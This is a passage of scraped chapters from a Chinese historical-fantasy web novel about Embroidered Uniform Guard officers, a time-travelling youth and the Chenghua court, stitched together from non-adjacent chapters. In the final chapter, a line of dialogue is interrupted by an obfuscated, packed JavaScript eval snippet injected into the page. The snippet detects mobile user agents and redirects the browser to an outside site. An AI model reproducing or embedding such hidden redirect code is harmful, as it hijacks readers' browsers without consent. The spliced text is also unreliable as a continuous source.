董长青嘿嘿笑道:“倒也难怪,那小寡妇——”骚话说了半截,瞧一眼谢骊,硬生生又给吞回去了。 谢骊瞥他一眼,只道:“村长可答应了?” “答应了。”董长青有些不屑,“那小子把万家的名号一亮,村长就老老实实了。再说,他又不要那家的房子田地,都留给了族里,只带一个小寡妇走,还有什么不答应的?” 崔和露出厌恶之色,低声道:“没一个好东西。” 谢骊默然片刻,道:“罢了,如此倒省了我们的工夫,好歹也是活了一条人命。都歇下罢,明日一早还要赶路。” 对于沈瑢的干法,万家的长随也是一个头两个大。然而沈瑢威胁他们,若是不能把“小寡妇搞到手”,他就留在这村子里不走了! 若是从前,万家长随哪里管他,可如今京里头娘娘在等着,他又是要进宫去给太子做伴读的,既不能让娘娘久等,又不能真捆起来押进京去,万般无奈之下,也只能由着他跑去找了村长,硬把人给要了过来。 于是再上路的时候,马车里又多了一个人。 “你叫什么名字?”沈瑢有点好奇地问有些局促地缩在那里的女子。其实昨天他都没怎么看清人长啥样,现在才发现,她年纪实在不大,可能也就是十八九岁的模样——所谓十八无丑女,尽管眉眼不算很出众,皮肤也略黑,但也自有一股青春动人。 “周鱼。”女子低声回答,想想又补了一句,“我娘怀我的时候想吃鱼,所以就叫这名字了。” “这么随便……”沈瑢有些无语,但也知 9. 北镇抚司 《我到大明抓怪物》全本免费阅读 锦衣卫北镇抚司,在外头人嘴里简称为诏狱,是京城里头令人闻风丧胆的地方——别看东西厂名声盛,但在普通人眼里,诏狱依旧是最吓人的地方,无论官员平民,凡是进了这里头就别想活着出来,更有甚者出来的时候连尸体也是不成人形——锦衣卫的一百单八种酷刑,在市井之间可是赫赫有名的。 对这等离谱的传言,北镇抚司的缇骑们有时候也是无语的,明明从诏狱里活着走出去的人也有的嘛,而且他们用刑也是有讲究的,谁跟那些没卵的东西一样变态呢?然而这话外头的人听了也不信,北镇抚司的缇骑们也只能自我安慰一下:能吓着人也是一样好处,办起案来没人敢说谎呢。 可能是为了维持这个人设,北镇抚司进门就是一股子阴森之气,来往的锦衣卫们也都面色严肃,有见到谢骊的也只行礼致意,并不打什么招呼。 别人都习惯了,只董长青的性子受不了这个,待将文书交接之后,便习惯性地一手搭了身边崔和的肩膀,叹道:“咱们这北镇抚司啊,最是个消暑的好地方了,不管外头烈日炎炎,走进来就是一身清凉啊。就是到了冬天不大好,总觉得脖子后头冷嗖嗖的。” 崔和用眼角瞥他一下,嗤了一声:“那你怕不是做了亏心事,才觉得有鬼跟在后头吧?” 董长青嘿嘿笑道:“别说,要是个艳鬼的话倒也不错。” 崔和跟他永远是说不上三句话就要生气,闻言一巴掌将他手臂从自己肩上打了下来,沉着脸道:“艳鬼艳鬼,下回当差你也多想着点艳鬼,我怕你有命见鬼没命回来!” 这话说得其实有点狠,但董长青丝毫不以为意,反而又把手臂搭了上去,还加点力气搂住了崔和的肩膀,嬉皮笑脸地拉着他往外走,口中还道:“牡丹花下死,做鬼也风流嘛。” 崔和气得七窍生烟,然而董长青乃是巨力,他的长处却在符咒,再怎么用力也甩不脱董长青,只能悻悻被他扯了出去,一路上还要听他满嘴的废话。 左膀右臂打嘴仗,谢骊素来是不加理会的,径自往后头走,去寻他义父袁彬了。 现任锦衣卫指挥使袁彬,自英宗皇帝那会儿起便“理锦衣卫事”了,虽则中间几经起伏,先是逯杲后是门达,甚至一度还被下狱,可折腾到如今那两个都没了,袁彬反而在六十多岁的时候再次被今上启用,又一次掌管了锦衣卫。 这来来回回的一番折腾,算是奠定了袁彬的地位,纵然是眼下炙手可热的万家兄弟,挂着个锦衣卫指挥使的虚名头几次想伸手,最后也没能伸进来。 不过,成化十三年的时候袁彬重病了一场,如今管的事也少了些,南镇抚司那边不得不略略放手,专在北镇抚司坐镇了。 谢骊进去的时候,袁彬正在读书。 他身形高大,虽则年事已高,但仍腰背笔挺,便是在年轻的锦衣卫们面前也不见逊色。似乎年龄与经历在他身上留下的不是衰老,反而带来了通达与睿智,只有那满头花白的头发和眼角深刻的皱纹,才显出了几分年纪。 “义父。”谢骊进了这间屋子,身上的冷意才仿佛破冰似的化去了些,终于露出一丝与年龄相称的轻快,“我回来了。” 袁彬严肃的脸上也露出了笑意:“可还顺利?” “有些麻烦。”谢骊说这话的时候,又收起了刚才的轻快神色,“如今地方上风气着实不佳,拐卖之风竟是肆无忌惮,只因牵涉风月场所,那些个地方官员便眼睁眼闭,少有肯着实下力的。如此下去,烟花场所倒成了法外之地,背后之人反借此敛财,实为可虑!” 袁彬微微叹了口气。谢骊虽未说明,他也知道那“背后之人”都是什么成色,其中少不得都是与宫里有些牵连的,恃着宫内势力,肆无忌惮。 只是,就算他明知这些,又能如何?圣心在,权势便在,想当初他有追随英宗皇帝在瓦剌的患难,还有夺门之功,不都没抵得住门达的谗言吗?英宗皇帝晓得他冤枉,可最后还不是将他撤职,以安门达之心…… “此次白莲妖人正是借此风气混淆视听,得以从容布局,私掳良家子女施行妖术。”谢骊不急不缓地道,“而当地官员与镇守太监非但一无所知,甚至还曾以为皇爷祈福之名屡次前往妖人之道观,即使未有不良居心,亦有失察之过。兹事体大,儿子不敢隐瞒,故已然写入文书之中,呈皇爷裁决。” 袁彬定睛看了这个义子片刻,欲言又止。 谢骊知道他想说什么。袁彬虽掌着声名狼藉的锦衣卫,却是个正直之人,素来不爱这些夹带私货篡改事实的做法。譬如说山东那镇守太监确与紫芝观有来往,但若说他请紫芝观道人做法事为皇帝祈福乃是别有用心,这便是恶意揣测无中生有了。 此等做法,袁彬是不愿的。但若只以失察上报,则此镇守太监便会安然无恙,连带着攀附他的一干尸位素餐之徒也能逃脱。谢骊在当地一番努力,只待他走后便如风吹水面,虽当时能泛起几圈涟漪,但只消风过,便又会恢复成原先的一潭死水,甚至或许还会变本加厉,更为糜烂…… “罢了。”袁彬到底还是默许了谢骊的做法,“我自会将文书呈上皇爷眼前。”这类文书若走正规渠道上呈,多半也就到阁老们那边便到头了——内阁里别人不说,万阁老便不会“劳动陛下在这些小事上费心”。但若以白莲教事,由锦衣卫直接上呈,皇帝是必要亲自过问的。 虽说是答应了,袁彬还是忍不住叹息道:“此等罗织之法非为正道,于你自身修行亦无好处,还是修身正心方为上策。” 谢骊低头答道:“儿子知道了。” 袁彬也知道这是无奈之举,只提了一句便不再说,转而问道:“听说此事还有万家子被卷入了?” “儿子正要回报。”谢骊小心地自怀中摸出一个木筒,面色比刚才还要严肃,“此事绝非普通白莲教徒装神弄鬼之举,现场祭坛香灰之中,儿子发现了这个。” 这个木筒看起来平平无奇,外形都不那么直溜,就像是随便截了一段树枝掏出来的,甚至还保留着一个瘿瘤样的凸起,唯独是表面极为光滑,像是被无数次抚摸过,都有了一层包浆。 袁彬看见这个木筒,脸色也顿时严肃起来:“难道又是一页?”这可是锦衣卫专用的收纳灵器,以千年桃木主枝截取制成,可隔绝内外,镇压邪肆,普通的邪物,甚至还没资格让谢骊使用这桃木筒呢。 谢骊打开桃木筒,果然从里头取出一张纸来。这纸也就是普通书页大小,颜色微黄,却不是什么生宣熟绢,而是刮碾得极薄的皮革,只不晓得是什么动物的皮。 这皮纸表面大半都被烟火熏得发黑,只有少数地方还能看清楚上头的篆字。袁彬对着光仔细看了看,分辨出几个:“十日……女丑?” 谢骊应声道:“《海外西经》曰,女丑之尸,生而十日炙杀之,在丈夫北,以右手鄣其面,十日居上,女丑居山之上。《大荒西经》又曰,有人衣青,以袂蔽面,名曰女丑之尸。儿子所见,祭坛之上的女子衣青,而法阵为九日之像,以九男注阳,再加天上一日,即为十日。” “曝巫……”袁彬眉头紧皱,“竟是以此法召魅!”这可比什么挖出尸体来制作旱魃更为严重! “他们可召到了?”袁彬握紧那张纸,“那女子如何?” 天上之物,当然不是随随便便就能召唤而来,在《论衡》与《左传》当中就有过记载,曾有多次“暴巫”之举。这些仪式对外都说是因天旱而举行,为的是求雨;但事实上,在干旱之时召唤女魃,才是最好的机会。只不过,尚未见有成功的记录。 紫芝观的法事,在规模上自不能与古代君主所举行的仪式相比,但他们手里握有《山海经》的真页,那就是另一回事了。 “范家小姐确系无恙。”谢骊将一路上的事情详细讲了一遍,才道,“当时仪式颇为古怪,似成非成,儿子颇疑心,倘若真有降神,怕不是降到了万家子身上?”虽然说“女”魃降到一个男子身上实在有违常理,但万瑢又实在是显示了许多异样之处,比如说能与妖化的人面蜈蚣战斗,又比如说前所未见的画技。 “你可能确定?”袁彬听着谢骊的讲述,脸色渐渐由严肃而肃杀,“他若入京,贵妃必定能说动皇爷,让他入宫为太子伴读——安能使此等妖物居于太子身边!” 对袁彬来说,在他心目之中皇帝与太子是排第一位的,若真要比较,那还是太子更为重要。若是万瑢入京只为借万贵妃谋求富贵那倒罢了,但真要将他安插到太子身边,那却是万万不可的。 关于这件事,连谢骊都无法完全确定:“虽有古怪,但……除行事异于从前,日常倒也并未见有甚特殊之处……”别以为他这一路上对万瑢不假辞色,就是不理不睬。事实上他一直在观察,除了用自己的能力,也用自己的眼睛。 但看来看去 10. 进宫 《我到大明抓怪物》全本免费阅读 沈瑢根本不知道,在北镇抚司,他差点又变成一个死人。事实上这几天他根本就顾不上想谢骊——才回万家,他就被按头恶补了一通宫廷礼仪,然后就被送进宫去见万贵妃了。 明代的故宫——哦,现在叫做紫禁城——与故宫博物院完全是两种不同的感觉,使得沈瑢走在似曾相识的路上,却完全没有了当初闲逛的轻松心情。 长长的宫道在清晨的时候还有点微风,这会儿就被阳光烤得有点发烫了,好在带路的小内监十分体贴,专带着他走在墙脚下有阴影的地方,边走还边周到地提点他:“娘娘已向皇爷提过几次小公子了,今日恰好皇爷也在娘娘宫里,小公子可真有福气。” 成化帝也在?沈瑢感觉压力更大了。他倒不是怕,主要是见皇帝的礼数比见贵妃那又更多了,还得多磕好几个头! 小内监显然不这么想,还在热情地恭喜他,并且十分直白地道:“小爷如今读书辛苦,娘娘生怕小爷累坏身子,特地向皇爷进言,要挑几个懂事的来陪着小爷,一来侍奉小爷读书,二来也给小爷解解闷儿。如今小爷正读《左传》,师傅们都夸小爷用心呢。” 沈瑢听得两眼顿时一黑。太子今年也就才十二岁吧,这就读《左传》了?好家伙,这要是一会儿皇帝问起来书读得怎么样,他,他怎么回答啊?讲郑伯克段于鄢?快省省,你这是影射谁呢? 沈瑢绞尽脑汁地希望能回忆起一点《左传》里的片段,然而直到走进永宁宫开始磕头,他脑子里还是一片空白,啥也没想起来。 但是出乎他意料之外,成化皇帝并没有想到问一问这个伴读的学习成绩,事实上皇帝从头到尾都没说几句话,一直都是万贵妃在说。 原身对于万贵妃是没有什么印象的,他出生的时候万贵妃早就成了贵妃,后来又加封皇贵妃,自不能随意出宫,而他更没有资格去觐见,所以今天才是万瑢头一回见到这对儿大明朝最尊贵的人。 万贵妃是出乎沈瑢意料之外的年轻,算一算她应该已经五十有三了,在明朝这个年纪是可以当奶奶的,但在沈瑢看来她只像三十出头的样子,再是养尊处优,这个状态也有点超乎寻常了,夸一句冻龄不为过。 至于相貌,比起那些腰如细柳眉如远山的女子来,万贵妃完全是另一款——身材高挑,浓眉大眼,略略有几分男相,妆扮起来颇有几分气势。沈瑢估摸着要是放到现代,真可以走中性风,但在大明朝显然就不怎么受欢迎了。 相形之下,成化皇帝倒显得文质彬彬,只在沈瑢行礼的时候说了个“免”,之后就只是沉默地听着万贵妃向他讲述自己这个小弟弟。 虽然皇帝说免礼,沈瑢也没敢真就不行礼——倒不是他愿意给人磕头下跪,主要是这个陌生的世界有点太过诡异,他也怕哪儿做不到位就突然触发点什么死亡机制一类的,毕竟他现在也不能肯定,如果在这里死了,能不能回到原来的世界。 不过,他的礼数周全显然是对了成化帝的胃口,等到沈瑢有点笨拙地站起来之后,他在万贵妃说话的间隙里,对旁边的内监抬了抬手:“赐……座。” 嗯?沈瑢差点失态地抬头直视圣颜——合着成化帝不说话,是因为他说话不利索?结巴?不会吧? 但是殿内的其他人显然是早就适应了成化帝这种说话方式,小内侍利索地掇过一个锦墩来,而万贵妃还在说:“臣妾这个兄弟,人不算聪明,就是孝顺。臣妾父亲过世,他自愿回家乡守着,这一守就是六年,说是连臣妾那份儿也代守了。就是乡下地方没甚好先生,他这读书啊——真是叫臣妾有些担忧……” 沈瑢差点喷了。守孝还有代守的?万贵妃这简直就是——信口开河啊! 然而孝顺这个词儿正中成化帝的下怀,他一直对万贵妃与太子的关系有些烦恼,觉得太子即使为了孝顺他这个父亲,也该对他的宠妃有些孺慕之思才好,而不该像现在一样,搞得水火不容。是以《孝经》是太子出阁之前就由识字的内监教读,在出阁之后又令先生们仔细宣讲的,务求让太子体会到他的苦心。 如今一听沈瑢竟然能在老家守孝六年,还连宫里姐姐该守的孝都代守了——且不管是不是自愿,这就是个极好的典范,正好拿来给太子做个样子。至于说乡下没好先生以至于读书不佳?那还不容易得很?宫里头教导太子的先生,都是非状元榜眼不能担任的,跟着他们读书,还有个读不好的? 这么想着,成化帝难得地愿意开口多问几句:“何名?” “父亲给他取名一个荣字。”万贵妃可是很不喜欢万瑢的名字,睁眼说瞎话。 成化帝摇了摇头:“不……好。取,纸笔来……” 这位皇帝治国上有些懒惰,于书画上却有些勤快,不但会画,据说还常自己写个青词什么的跟上神沟通一下,所以文化方面是很过得去的,待内侍磨得墨浓,便提笔蘸饱了墨汁,在纸上写出一个字来:“既来,读书……朕,赐一字。” 沈瑢伸头一瞧,险些笑了——纸上大大写着一个瑢字。这不巧了吗? “君子,佩玉,?瑢,其声。”成化帝写完,显然对自己挑中这个字很满意。毕竟是来给太子当陪读的,总该有个好听的名字。要说“荣”这个字本身呢其实不算坏,草木茂盛谓之荣,也算是有意境的。无奈要是跟万家其他人的名字排起来看,那就俗得很了。成化帝到底是文化人,看不上这个名字。 万贵妃的表情略有那么点儿失控,口气也不是太好地对沈瑢道:“陛下说的话,你可听懂了?” 那还真的能听懂,毕竟这也是他自己的名字,当初他还特地查过字典,?瑢就是佩玉的声音,而君子比德于玉,为了规范自己的德行,特地佩玉而自省。所以成化帝挑中这个瑢字,真说明人家还是有学问的。 当然,万贵当初为了给小儿子起名,翻了好些书,也是很辛苦的了。 “臣懂,陛下是教导臣要做个君子。”沈瑢其实还能说得更多一点,无奈他对于明朝的官话掌握得实在不行。 明朝以中原雅音为正,官话就以南京官话为基础,尽管永乐帝时期就已经迁都北京,但与沈瑢所熟知的北京话还是有区别的。 原身倒是从小就学讲官话,但回山东老家住了六年,这口音也忘得差不多了,万家人给他恶补了几天,沈瑢也就只能讲到现在这个样子了。 不过这回答很准确,成化帝也就满意了。主要是万家人的文化水平他心里也有数,沈瑢能听懂个?瑢是佩玉之声,已经算是超出意料。所以成化帝点点头,示意内监把写着瑢字的纸赐给沈瑢:“明日,来陪太子,好生读书。” 随后他起身,向万贵妃道:“朕,去向太后,问安。你且与兄弟,说说话。” 沈瑢暗暗称奇。成化朝的这位周太后看万贵妃那是一百个不顺眼,成化帝自己去向老娘请安,却不要求万贵妃一起去行礼,这就还挺那个什么的,比一些只会喊“我妈不容易,你就不能让让她”的人,实在是强多了。 但是万贵妃应该是没见识过那种孝心外包的男人,所以对于成化帝扔下她去给周太后问安的事儿显然有点心气不平,送走了成化帝,转回头来就对着沈瑢冷了脸:“怎么耽搁这些天才进京?” “因为遇上了白莲教的妖人……”沈瑢可不背这个锅,万家人对于原身毫不在意,直到他失踪好几天才发现,现如今人都已经没了!甚至要不是谢骊及时赶到,连他这个冒牌货都没有,万贵妃还找谁来给太子当伴读啊? “白莲教妖人?”万贵妃果然听得皱了皱眉,但她的重点却在另一方面,“那些妖人对你作法了?”万家确实有消息送进宫来,但当时说的是万瑢被人绑架,她还以为是要什么赎金之类,没想到竟是与妖法有关! 这下就连殿内的宫女内侍们都露出了紧张之色,毕竟前些年白莲教妖人李子龙潜入大内,又死遁脱身之事轰动一时。且其人虽遁,却留下不少后患,譬如京城之中出现夜行妖狐,宫内也有宫人因被其施了妖术,而有种种异样。是以这会儿大家听见作法二字,都不禁心生警惕,有些胆子小的,甚至不由自主后退了一步,生怕沾上什么似的。 万贵妃其实也想退,但她坐在椅子上,想退也不方便。而且这样一退,就显得她胆怯了似的——万贞儿这辈子还不知道胆怯二字该怎么写呢!于是她仍旧稳稳坐着,梗着脖子道:“你可有什么异样?” 沈瑢当然不会说实话,装傻充愣:“就是险些被活活饿死,亏得北镇抚司的谢百户来得及时,杀了妖人……” “北镇抚司?”万贵妃听见谢骊的名字就眉头直皱,“说到这个,我且问你,锦衣卫上折子说山东那边的镇守太监跟白莲妖人有瓜葛,打着给陛下祈福的幌子行妖术,这可是真的?” 说是“打着祈福的幌子行妖术”,其实就是在说这祈福之术有古怪,怕不但没有祈福,反而…… 成化帝看了这折子自然是又惊又怒,直接就准了锦衣卫的奏请,将那镇守太监发配南京充净军去了。 这原也不关万贵妃的事,只是这山东的镇守太监是梁芳干儿子,梁芳不免寻到万贵妃面前,哭一番锦衣卫借机报复,实则是对娘娘不满之类的话。

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“你没问问那工匠,这石头外头怎么是黑乎乎的?” “哥儿这就不知道了吧?”阿银爹笑道,“田黄石外头多有石壳的,有黄有黑,还有红色格纹呢。那在水里拣石头的,就凭这格纹来辨识。就是哥儿得的这一块石壳厚些,格纹也不怎么显。若不然识货的人一眼就看出来了。” 所以那老石匠是极有经验,才能看得出来? 沈瑢打发走了阿银爹,趴在几案上仔细端详那块田黄石。 烛光之下,石头浓黄色的肌理中浮现着一条条隐约的细丝。田黄的一大特征就是这萝卜纹状的细丝,正所谓无纹不成田,这细丝越发显得田黄石肌理温润,似乎伸手摸过去,便会触摸到如肌肤般的温暖柔软。 这块田黄石呈不太规则的卵形,仿佛一个鸡蛋黄,而其中的细丝颜色更偏红一些,让沈瑢想起孵化中的卵黄,这些细丝就像是无数细微的血管,在供养着这枚发育中的卵。 沈瑢对着这块田黄石看了一会儿,眼睛有些发酸,他打着呵欠眨了眨眼睛,却忽然觉得眼前的田黄石好像动了一下,就像快要孵出小鸡的蛋似的。 这一下所有的睡意都被吓飞了,沈瑢几乎跳起来,连忙瞪大了眼睛再看,却见那田黄石稳稳躺在桌子上,哪儿有什么动作,只是刚才烛焰晃动了一下,光影变换中造成的错觉罢了。 沈瑢险些被吓死,惊魂未定地把蜡烛拿起来,左照右照了半天,才确定刚才的确就是错觉,是因为烛火晃动,那些细丝也忽明忽暗,看起来就像是动了一样。但实际上,石头仍旧是石头,是不会动的。 “那些都是死的……”老工匠的声音隐隐又在耳边响了起来,让沈瑢后背上一阵发寒。他忽然想起了曾经看过的“小鸡破壳石”的新闻——有人捡到一块玛瑙,天然形成了一只小鸡自蛋壳中伸出头的样子,号称给出1.3亿的天价都不卖什么的。 但“小鸡破壳”据说在诸大奇石中也只排第三,排第一的叫什么“东坡五花肉”,另外还有像鹰的,像人脸的,像胎儿的…… 当初沈瑢看这些新闻的时候只觉得有趣,但现在他却不由自主地在想,这些维妙维肖的石头,是否原本真是要变成这些活物的,只是因为死了,才最终凝固成了无生命的石头? 那如果它们能活下来,最终又会变成什么样子? 不知是不是想得太多,沈瑢夜里又做梦了。 他梦见满地的石头,有些裂开了,露出宝光莹莹的内部:或如翡翠一般的浓绿,或如羊脂一般的洁白;或是玛瑙的绯红,或是水晶的亮紫…… 这些美丽的宝石光彩闪动交织,明明暗暗,晃得他眼花。恍惚之中,似乎宝石内部有什么在流动,逐渐成形——有滚绣球的狮子,有背托宝瓶的大象,有振翅欲飞的凤凰,有头生单角的犀牛…… 但是这些形象在成形之时便定格了,就像大永昌寺里那些雕像一般,再怎么栩栩如生也是死物。还有一些则定格成不规则的形状,只是这些形状在人眼看来什么也不像,也就无人注意。 但是光影之中,还有一些东西始终在动,哪怕速度缓慢,哪怕它们的形状稀奇古怪不成形状,但它们一直在动…… 35.中风 这个关于宝石的梦,与普通的梦境一样,在沈瑢醒来后就如阳光下的露水一般消失了,只给他留下一些五光十色的残片,以及一块贵重的田黄石。 不过,不知道是不是沈瑢的错觉,这块田黄石在日光下看起来颜色仿佛比昨夜浅了一些,看着倒是更通透,甚至有点像果冻,但那种光影交错之中的“活着”的感觉,却是没有了。 “应该还是错觉……”沈瑢捧着田黄石端详了半天,嘀咕了一句。 “哥儿要搓什么?”阿银正庆幸自己没把这么贵重的石头摔坏,也没听清楚沈瑢的话,糊里糊涂地问道。 沈瑢白他一眼,随手把田黄石搁百宝架上了:“搓什么搓,搓搓你耳朵吧。我跟你说,我给你们请了一位女先生——别以为我去当差了这课就能不上了,都给我好好念书,谁不用心,女先生不罚你们,我回来打你们手板子!” 阿银还以为沈瑢去当差就没人给他们上课,此刻一听女先生,那脸险些垮到了胸前:“哥儿怎么请女先生……” 沈瑢冷笑:“怎么的,你还不服气啊?你学字还没人家周鱼学得快,还要看不起女先生?告诉你,人家女先生不但识字,还通术算,你呀,好好跟人家学吧。”范姑娘在家中还要帮母亲理家,普通记账计算毫无问题,来教这几个人简直是大材小用。 阿银的弟弟跟他露出一模一样的表情,两个人眉眼往下耷拉的角度都一模一样,不愧是亲兄弟,看得沈瑢一肚子气,一手拎了一个人的耳朵:“看看人家周鱼,你们能不能有点出息!” 阿银捂着耳朵,心想周鱼虽然认字慢,但学术算却很快,沈瑢夸过她好几次了,她现在干劲十足,除了做买卖就是读书,简直一天都不懈怠,自己和弟弟就不行了,两边都学得慢,要不是憋着股劲不想被周鱼一个乡下丫头比下去,早就想放弃了。 现在可好,一个周鱼还没能赢过,又来一位女先生。他家这位小爷也真是怪,怎么就对些女子这么看重呢? 沈瑢才不管阿银怎么想,把这三个学生交给范姑娘之后,他可算是无事一身轻,既不用当先生,也不用当学生,只要上班就行了。 锦衣卫原身是銮仪卫,就是皇帝的仪仗队,出行的时候不用说,平日也要在宫里当值,护卫皇帝安全。尽管皇宫内自有法阵保护,北镇抚司的锦衣卫们也要干这个活儿,沈瑢这样刚进来的新人,又是并无什么异能的,大部分的工作,其实也就是在宫里。 这跟沈瑢想的不大一样,他还以为进了北镇抚司,就能跟着谢骊办差,借机了解这个世界的异样呢。结果他现在基本上就是在宫里打转,跟之前当伴读的行动轨迹都差不多,唯一的好处就是方便他蹭马术课了。 这么一来,原先还因为他不当伴读而略有些郁闷的太子,现在也没半点儿分别之情了——这跟原来有啥两样?沈瑢还不用写作业了呢! “你不去办差么?”这天骑了会儿马,太子都有点忍不住了。 沈瑢比他还郁闷:“他们不带我……” 谢骊前几天带着董长青等人出去了,他都不知道!等去北镇抚司点卯的时候才晓得。原因是啥呢?说他不会骑马。 所以他得赶紧学骑马才行! 太子对他上下看了两眼,有些迟疑地道:“也许不只是骑马的事儿,我听说北镇抚司的锦衣卫都是异士。” 这点沈瑢也发愁呢。没有异能,估计他在北镇抚司也就是个充数的,最多在宫里轮值。可是异能就是妖化——沈瑢有种预感,他要是妖化了,结果可能不是当上合格的北镇抚司锦衣卫…… 太子发觉自己有点说错话,连忙改口道:“不过你年纪还小,或许再过几年就能出去了,南镇抚司那边不也有人出外办差么。” 那办的都是啥差啊,挖官员的隐私,敲商人的竹杠,那才真都干的是特务的事儿呢,反正他不想干。 “我可不小了!”沈瑢挺直腰杆,又瞅一眼太子的小身板,“我比殿下还大两岁呢!”而且可喜可贺的是来京城这半年他还长高了一小截! 太子着实是好脾气,沈瑢如此大不敬的眼神他都没在意:“你跟王云一样的说话。” 啥啊,王云那个豆丁是年纪最小的,他说不小那才是在逞强呢,怎么能混为一谈? 不过沈瑢还怪想王云的:“他给殿下来信了?”那小子去了书院就乐不思蜀了吧? “嗯。”太子说起王云,脸上也不由得带了淡淡笑容。 其实这四个伴读里,太子最喜欢的就是王云和沈瑢——当然,后者他是不能承认的。 康廉此人太过争强好胜,太子虽然是个能容人的,但看他终日要压别人一头,也难免有些不喜。而且康廉最糟糕的还不是好胜,而是输不起,若不是他比不过沈瑢就向丘浚告状,或许最后还不会闹得四个伴读都散了。 而刘璐倒是不争胜,可功利心又重了些。太子虽贵为储君,但他心里始终记得自己当年在安乐堂里不能见人,那些内侍宫人偷偷养着他的那段日子。他不是从生下来就被人众星捧月的,而是在某一天忽然间成了人上人,但之后不久,他的母亲就去世了…… 太子知道自己是太子,他也接受别人对他的恭敬、讨好和畏惧,但是在心里,他有时也会怀念六岁之前,那一段没有什么功利,只有关心,而母亲也还在身边的日子。 何况太过功利,人就难免乏味。刘璐本性或许是个有趣的人,但他在文华殿永远都有点像个木偶,而线就提在太子手里。 但问题是,太子根本就不想成为那个提线人。 如此一来,刘璐虽然成了仅存的伴读,跟太子的关系反而不如从前了,就连文华殿的课都有些失了趣味,倒叫太子格外想念起王云和沈瑢。 “王云说,他如今叫守仁了。” “王守仁?”沈瑢怎么觉得这名字有点耳熟,“是取字了吗?他才几岁啊。”古人不是要到了年龄才会取字吗? “不是。”太子解释,“其实这个名字早就有了。王云说,他出生之前,祖母梦到有人抱着个婴儿从云中降下,所以祖父给他取名为云。但他小时候一直不会说话,直到五岁那年遇到一个僧人,让给他改个名字。他的祖父正好在读《论语·卫灵公》,读到‘知及之,仁不能守之,虽得之,必失之’,就给他改名守仁,从此他就开口说话了。” “这么玄的吗?”沈瑢越听越觉得耳熟了,但是一时半时的怎么都想不起来。 “就是因为太过玄妙,所以不对外人说起,仍旧叫他王云。”太子说的时候也略微有点得意——不对外人说起,但跟他说了,可见王云没有把他当做外人,“不过他现在进书院读书了,守仁这个名字更为合适,就索性改过来了。至于字,他父亲也给他取了,为伯安,叫他安份些,不要总想着往边关跑。” 沈瑢在这点上对王云也是佩服:“他还想着去边关呢?少说也再等几年吧。”谁家让个十岁出头的孩子往外跑啊。 “是啊,他家中自然是不许的。他说不能去外头行万里路,那就先在书院内格物致知也可。前几天,他去格竹了。” 格竹这两个字落入耳朵,简直如同一声惊雷,让沈瑢猛然想起来了:“守仁格竹?” 我的妈呀难怪王守仁这个名字耳熟呢,这不就是王阳明吗?阳明先生,心学大师,甚至跟孔、孟、朱熹并称的圣人诶! 天呀地呀,谁能想到他的同学小豆丁,居然是未来的圣人啊! 沈瑢两眼发直,开始思考要是能带一件王云的东西回自己的世界,是不是就价值连城…… “他格出什么来了吗?”说起来,守仁格竹好像不该是这么早啊。 “他说才格了两个时辰就被先生发现,赶回宿舍了。”太子边说边觉得好笑,“书院不许学子夜间还在外游逛。他说等他不在书院了,就找时间格个七天七夜——说起来,他这格物致知的念头,还是跟你学的。” 我没有,我不是,别赖我!沈瑢在心里疯狂否认三连。他哪有那么大本事能影响一代圣人哟! 王云就是王阳明,这个消息实在太过震撼,以至于沈瑢大半天都晕晕乎乎的,直到回家还目光涣散,让阿银十分担心:“哥儿可是身子不舒服?是当差累着了吧?” “没——今天去跟太子殿下上课来着……”顺便听了个大消息。 阿银觉得自己十分能够理解,因为他上课也晕晕的。新来的女先生脾气是比自家小爷好很多,但是一样严格,若今日学过的字明日记不得了,就要罚多写几十遍。可怜他的手都要写断了呀。 “你真是榆木脑袋!”沈瑢忍不住曲起手指凿一下阿银的头,但看他一副学渣模样又觉得怪可怜的,“你不会用黛笔罚抄啊。范姑娘要的是你记住这字该怎么写,也没规定必须用毛笔抄。”说真的,就阿银那笔字儿,都浪费纸! 黛笔比毛笔那是要方便多了,阿银如今能减得一点是一点,闻言连连点头,自觉酸疼的手腕都轻松了些。 他一轻松,终于想起原本要说的事了:“老宅那边的二爷,听说是中风了。” “啊?”沈瑢吓了一跳,“谁?万——我是说,二哥?”万通? “可不就是二爷。”阿银叹道,“今儿请了两位御医去老宅呢。我爹说,哥儿是不是,也该去瞧瞧……”虽说分了家,到底还是兄弟。 沈瑢想想自己刚刚打着兄友弟恭的旗号把菩萨像送去没几天,也觉得这个面子还是要做一做的:“那备点儿活血化瘀的药材,我去瞧瞧。”中风好像就是脑梗塞,活血的药材应该是没错的吧? 万家大宅里气氛还不错,虽然万通的小妾有几个在抹泪,但沈瑢看她们哭得“梨花带雨”的模样,就知道那是哭给万通看的。既然万通还能“看”,想必是没甚大事。 果然万通的正妻把小妾们训斥下去之后,迎出来见小叔子:“四叔来了?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12480132|129564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二嫂。”沈瑢这也是头一次跟万通的正妻说话。说起来也好笑,之前没分家的时候,他就在自己那个小院里头打转,万家的女眷他都没见过。如今分了家倒是真有点像亲戚了,“二哥怎样了?” “昨儿晚上忽然病了,幸而下人还算机灵……请了两位御医过来施了针,如今已然好得多了。”万家兄弟的妻子都是发达之前娶的,如今虽然也能穿金戴银,也养得珠圆玉润了许多,但有些东西却是改不了的。 譬如万通的妻子就是长相平平,从前万家那样也没什么可挑的,可如今富贵了,万通便小妾婢女的收用了一堆,正妻倒成了个摆设,虽然富贵不缺,夫妻俩的感情却是早就淡如水了,此刻说起万通的病也是波澜不惊的。 “那就好。”沈瑢来的路上都在回忆他那点不太丰富的历史知识,但他只听说过万通死得不那么光荣,却真不知道这件事究竟发生在什么时候。但既然万通病得不重,那大概就不是这次? “二哥这是怎么病的?中风可不是小事,虽说这次没事了,可也不能大意,日常得小心保养才是。” 万二太太嘴角不易觉察地往下一撇:“大约是差事上有些烦心的事,一时气恼着了。四叔进去瞧瞧罢,倒是多亏了四叔送来的菩萨像保佑。” 